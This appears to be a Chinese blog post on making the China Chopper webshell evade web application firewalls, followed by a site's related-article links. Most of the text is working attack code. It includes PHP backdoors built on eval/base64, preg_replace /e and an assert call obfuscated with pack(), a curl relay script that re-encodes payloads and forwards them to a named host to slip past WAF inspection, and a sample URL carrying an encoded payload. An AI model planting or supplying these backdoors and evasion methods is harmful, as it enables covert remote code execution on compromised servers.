关于PHP

一、waf为啥会拦截菜刀。
菜刀在连接时,会向server端POST数据,抓包查看:

会看到他向server端post了 @eval(base64_decode($_POST[z0])); 一般的waf都会拦截eval的。

二、要想菜刀仍然正常工作,就必须让菜刀中的内置的@eval(base64_decode($_POST[z0]));代码不被waf拦截,但又可以传递到server端。
方案一:修改菜刀
(1)修改菜刀,将菜刀客户端的eval(base64_decode($_POST[z0]))去掉,写进服务端去。
于是server端代码为:

<?php
if($_POST['c']!='')
{
@eval(base64_decode($_POST[z0]));
}
?>

客户端用修改后的菜刀连接。
说明:这种方法是将菜刀内置的eval(base64_decode($_POST[z0]))直接写到server端。

(2)修改菜刀,将菜刀客户端的eval(base64_decode($_POST[z0]))去掉,用get方式将eval(base64_decode($_POST[z0]))的base64加密形式发到服务端。
server端代码:

<?php preg_replace("/^/e",base64_decode($_REQUEST[g]),0);?>

客户端用修改后的菜刀连接:
http://www.s2ck.cc/test.php?g=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFt6MF0pKQ==

说明:这种方法是将菜刀内置的 eval(base64_decode($_POST[z0]))通过base64加密,然后通过get方式传到server端。

方案二:中转
client->自己服务器/应用(加密)->防火墙->真实地址(解密)
(3)通过中转,将菜刀post的eval(base64_decode($_POST[z0]))进行加密。服务端进行解密。
server端代码:

<?php
$func=pack("c6",97,115,115,101,114,116);
$_POST['c']=base64_decode( $_POST['c']) ;
$func($_POST['c']);
?>

中转端代码:

<?php
$handle=curl_init();
$DATA=array();
$DATA=$_POST;
$DATA['c']=base64_encode(substr($DATA['c'],1));
curl_setopt($handle,CURLOPT_URL,'http://www.s2ck.cc/1.php');
curl_setopt($handle,CURLOPT_HEADER,0);
curl_setopt($handle,CURLOPT_RETURNTRANSFER, 1);
curl_setopt($handle,CURLOPT_POST,1);
curl_setopt($handle,CURLOPT_POSTFIELDS,$DATA);
$output=curl_exec($handle);
if($output === FALSE) {
echo "cURL Error: " . curl_error($handle);
}
echo ($output);
curl_close($handle);
?>

客户端:
用原版菜刀连接。

说明:这种方法是将菜刀内置的 eval(base64_decode($_POST[z0]))通过中转端进行加密,然后server端进行解密。从而绕过waf

菜刀php过waf的更多相关文章

  1. 渗透测试学习 二十八、WAF绕过详解

    大纲: WAF防护原理讲解 目录扫描绕过WAF 手工注入绕过WAF sqlmap绕过WAF 编写salmap绕过WAF 过WAF一句话编写讲解 菜刀连接绕过WAF webshell上传绕过WAF 提权 ...

  2. 渗透-简单制作过waf的中国菜刀

    0x01 简单分析 web渗透中很常见的情况,用菜刀连接免杀的一句话木马连不上,有waf 除了变形一句话木马为免杀一句话,我们还需要来制作过waf的菜刀进行连接. 这里用的一句话为 来看看菜刀连接一句 ...

  3. 绕过D盾安全狗连接菜刀

    0x00 各种奇葩符号 现在基本上没啥用了,毕竟几年前的小玩意儿 /;.xxx.asp;.jpg /;.asp/.jpg 像这种各位看官可以忽略了,毕竟某狗和某盾也不是吃干饭的,写出来只是为了纪念一下 ...

  4. 小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)

    webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用 ...

  5. Webshell免杀绕过waf

    转自圈子404师傅 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 ...

  6. 绕过WAF、安全狗知识整理

    0x01 前言 目前市场上的WAF主要有以下几类 1. 以安全狗为代表的基于软件WAF 2. 百度加速乐.安全宝等部署在云端的WAF 3. 硬件WAF WAF的检测主要有三个阶段,我画了一张图进行说明 ...

  7. webshell 常见 Bypass waf 技巧总结

    在渗透学习的过程中,总会遇到各种情况,例如 php 大马被 waf 拦截的时候,那么如何制作免杀 php webshell 呢,接下来就由我带各位小伙伴们一起踏上大马免杀之路,不喜勿喷. 一篇好的文章 ...

  8. 数据库语法整理及WAF绕过方式

    关系型数据库 关系型数据库:指采用了关系模型来组织数据的数据库. 直白的说就是:关系型数据库最典型的数据结构是表,由二维表及其之间的联系所组成的一个数据组织 当今主流的关系型数据库有:Oracle,M ...

  9. 对抗假人 —— 前后端结合的 WAF

    前言 之前介绍了一些前后端结合的中间人攻击方案.由于 Web 程序的特殊性,前端脚本的参与能大幅弥补后端的不足,从而达到传统难以实现的效果. 攻防本为一体,既然能用于攻击,类似的思路同样也可用于防御. ...

随机推荐

  1. javaweb基础 01--JSP取得绝对路径应用

    1.相关函数说明 * request.getScheme() 等到的是协议名称,默认是http * request.getServerName() 得到的是在服务器的配置文件中配置的服务器名称 比如: ...

  2. 斐讯K2刷不死breed与第三方固件教程

    本文主要就是简单的斐讯 K2 刷机教程,方便大家了解一下 K2 怎样刷固件.斐讯 K2 是一款 1200M AC 双频无线路由器,支持 5G 和 2.4G WiFi 信号,虽然缺少 USB 且只有百兆 ...

  3. Node学习HTTP模块(HTTP 服务器与客户端)

    Node学习HTTP模块(HTTP 服务器与客户端) Node.js 标准库提供了 http 模块,其中封装了一个高效的 HTTP 服务器和一个简易的HTTP 客户端.http.Server 是一个基 ...

  4. 使用Wireshark分析QQ聊天

  5. 获取页面所有链接的JS

    写了一个实用的JS脚本,获取当前页面所有的JS: var str = " \n"; var list = document.getElementsByTagName("a ...

  6. Java、JavaWeb中单元测试用到的测试方法

    写出的代码做单元测试时,一定要记住从三个方面出发:1.成功  2.异常  3 逻辑错误(即没有异常也可能程序运行出最后结果,可是呢?呵呵).这就是在做测试时我要牢记的三个方面,同时思维要严谨也即做事要 ...

  7. Nginx 安装 --编译模块参数

    公司空出来一些服务器,很久没有来练手了,于是便开始有了这篇博客,记录下过程. Nginx 这个不多说了,名声在外,人们喜爱使用这款软件,主要还是因为它的高并发特性,公司也在用效果还不错,也用了它的一些 ...

  8. 利用反射生成JDK动态代理

    利用反射生成JDK动态代理 在Java的java.lang.reflect包下提供了一个Proxy类和一个InvocationHandler接口,通过使用这个类和接口可以生成JDK动态代理类和动态代理 ...

  9. NBUTOJ 1643 - 阶乘除法 - [数学题]

    题目链接:https://ac.2333.moe/Problem/view.xhtml?id=1643 问题描述 输入两个正整数 n, m,输出 n!/m!,其中阶乘定义为 n!= 1*2*3*... ...

  10. AjaxAnywhere的用法(FORWARD)

    AjaxAnywhere的用法   ajaxanywhere 总结:1,简介AjaxAnywhere被设计成能够把任何一套现存的JSP组件转换成AJAX感知组件而不需要复杂的JavaScript编码. ...